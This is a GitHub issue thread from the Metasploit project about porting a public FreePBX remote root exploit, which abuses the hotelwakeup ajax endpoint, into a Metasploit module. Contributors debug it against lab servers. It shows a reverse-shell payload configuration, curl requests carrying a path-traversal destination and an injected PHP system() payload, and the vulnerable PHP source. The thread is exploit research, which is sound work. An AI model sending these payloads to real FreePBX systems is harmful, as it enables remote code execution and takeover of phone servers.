rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.14k stars 13.97k forks source link

FreePBX < 13.0.188.1 Remote root exploit #7370

Closed h00die closed 7 years ago

h00die commented 8 years ago

Looks like it posted to edb, but wasn't PRed here... https://www.exploit-db.com/exploits/40434/

madmike33 commented 8 years ago

yup was wondering why :/ ?

h00die commented 8 years ago

@wvu-r7 This may be good Intern/new employee work: Someone should go through edb for "(Metasploit)" in the title name, and verify all of the results are in MSF. I suspect there's a handful that are not, similar to #4096

madmike33 commented 8 years ago

Iam interested :)

wvu commented 8 years ago

There are quite a few, yes.

busterb commented 8 years ago

@madmike33 are you working on this? if not, I'll get someone on it.

h00die commented 8 years ago

@madmike33 are you working on freepbx or finding all missings? Any status updates?

nixawk commented 8 years ago

If you want, please set up a vuln-lab. - References:

https://github.com/FreePBX/framework/releases. http://www.tecmint.com/how-to-install-asterisk-11-in-linux-distributions/ http://wiki.freepbx.org/display/FOP/Installing+FreePBX+13+on+Debian+8.1

screen shot 2016-10-09 at 11 33 21

The module fails to exploit FreePBX 13.0.187 as follow.

msf exploit(freepbx_unauth_exec) > show options

Module options (exploit/unix/webapp/freepbx_unauth_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.100    yes       The target address
   RPORT      80               yes       The target port
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /freepbx2        yes       The path to a freepbx application
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.104    yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(freepbx_unauth_exec) > check
{"error":"Not Authenticated"}
[*] 192.168.1.100:80 The target is not exploitable.
nixawk commented 8 years ago
~ ->> curl "http://192.168.1.100/freepbx2/admin/ajax.php" -H "Host: 192.168.1.100" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://192.168.1.100/freepbx2/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":"Not Authenticated"}
h00die commented 8 years ago

I will add that EDB didn't verify the sploit, however it does look like it was real according to their site

nixawk commented 8 years ago

Any body check it ? my lab problems ?

screen shot 2016-10-12 at 08 43 03

If I replace demo cookie with a login state cookie, we can exploit it. 0x4148.php.call does not exist in _/var/www/html/0x4148.php_

root@sh:/var/www/html/freepbx2/admin/modules# curl "http://192.168.0.107/freepbx2/admin/ajax.php" -H "Host: 192.168.0.107" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://192.168.0.107/freepbx2/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=b8d73ro7lsnbn9ottri2vijka1" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"status":true}

root@sh:/var/www/html/freepbx2/admin/modules# ls -al /var/spool/asterisk/outgoing/
total 12
drwxrwxrwx  2 asterisk asterisk 4096 Oct 12 10:03 .
drwxrwxrwx 10 asterisk asterisk 4096 Oct  9 11:11 ..
-rwxrwxrwx  1 www-data www-data  202 Oct 19  2016 0x4148.php.call

root@sh:/var/www/html/freepbx2/admin/modules# cat /var/spool/asterisk/outgoing/0x4148.php.call
channel: Local/04148@originate-skipvm
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=<?php system('uname -a;id');?>
application: AGI
data: wakeconfirm.php
nixawk commented 8 years ago

Please read the code - Hotelwakeup.class.php. Payload fails to create /var/www/html/0x4148.php.call.

        public function ajaxRequest($req, &$setting) {
                switch($req) {
                        case "savecall":
                        case "getable":
                                return true;
                        break;
                }
                return false;
        }
        public function ajaxHandler() {
                switch($_REQUEST['command']) {
                        case "savecall":
                                if(empty($_POST['language'])) {
                                        $lang = 'en'; //default to English if empty
                                } else {
                                        $lang = $_POST['language']; //otherwise set to the language code provided
                                }
                                if(empty($_POST['day']) || empty($_POST['time'])) {
                                        return array("status" => false, "message" => _("Cannot schedule the call, due to insufficient data"));
                                }
                                $time_wakeup = strtotime($_POST['day']." ".$_POST['time']);
                                $time_now = time();
                                $badtime = false;
                                if ( $time_wakeup === false || $time_wakeup <= $time_now )  {
                                        $badtime = true;
                                }

                                // check for insufficient data
                                if ($badtime)  {
                                        // abandon .call file creation and pop up a js alert to the user
                                        return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
                                } else {
                                        $this->addWakeup($_POST['destination'],$time_wakeup,$lang);
                                        return array("status" => true);
                                }
                        break;
                        case "getable":
                                return $this->getAllCalls();
                        break;
                }
                return true;
        }
        public function addWakeup($destination, $time, $lang) {
                $date = $this->getConfig();  // module config provided by user
                $this->generateCallFile(array(
                        "time"  => $time,
                        "date" => 'unused',
                        "ext" => $destination,
                        "language" => $lang,
                        "maxretries" => $date['maxretries'],
                        "retrytime" => $date['retrytime'],
                        "waittime" => $date['waittime'],
                        "callerid" => $date['cnam']." <".$date['cid'].">",
                        "application" => 'AGI',
                        "data" => 'wakeconfirm.php',
                ));
        }
        public function generateCallFile($foo) {
                if (empty($foo['tempdir'])) {
                        $ast_tmp_path = $this->FreePBX->Config->get('ASTSPOOLDIR')."/tmp/";
                        echo $ast_tmp_path;
                        if(!file_exists($ast_tmp_path)) {
                                                        mkdir($ast_tmp_path,0777,true);
                        }
                        $foo['tempdir'] = $ast_tmp_path;
                }
                if (empty($foo['outdir'])) {
                        $foo['outdir'] = $this->FreePBX->Config->get('ASTSPOOLDIR')."/outgoing/";
                }
                if (empty($foo['filename'])) {
                        $foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call";
                        echo $foo['filename'];
                }

                $foo['ext'] = preg_replace("/[^\d@\+\#]/","",$foo['ext']);
                $foo['filename'] = basename($foo['filename']);

                $tempfile = $foo['tempdir'].$foo['filename'];
                $outfile = $foo['outdir'].$foo['filename'];

                echo $foo['filename'];
                echo $tempfile;
                echo $outfile;

                // Delete any old .call file with the same name as the one we are creating.
                if(file_exists($outfile) ) {
                        unlink($outfile);
                }

                // Create up a .call file, write and close
                $wuc = fopen($tempfile, 'w');
                fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
                fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
                fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
                fputs( $wuc, "waittime: ".$foo['waittime']."\n");
                fputs( $wuc, "callerid: ".$foo['callerid']."\n");
                fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n");
                fputs( $wuc, "application: ".$foo['application']."\n");
                fputs( $wuc, "data: ".$foo['data']."\n");
                fclose( $wuc );

                // set time of temp file and move to outgoing
                touch( $tempfile, $foo['time'], $foo['time'] );
                rename( $tempfile, $outfile );
        }

                // $foo['filename'] : /var/spool/asterisk/tmp/wuc.1476888660.ext./../../../../../../var/www/html/0x4148.php.call
                // $tempfile        : /var/spool/asterisk/tmp/0x4148.php.call
                // $outfile         : /var/spool/asterisk/outgoing/0x4148.php.call
h00die commented 8 years ago

double check your version, if I remember correctly, FreePBX will perform an update on boot, so if you don't deny its internet access it may have updated on you while you were using it

0x4148 commented 7 years ago

Full writeup can be found up here https://0x4148.com/2016/10/25/freepbx-remote-root-exploit-writeup/ You are using updated version basename($foo['filename']); Fixed the problem

nixawk commented 7 years ago

Thanks @0x4148. Could you share your vuln-lab environment ? I want to try it again.

0x4148 commented 7 years ago

hotelwakeup.zip Pre-patched

h00die commented 7 years ago

closing due to inactivity in #7509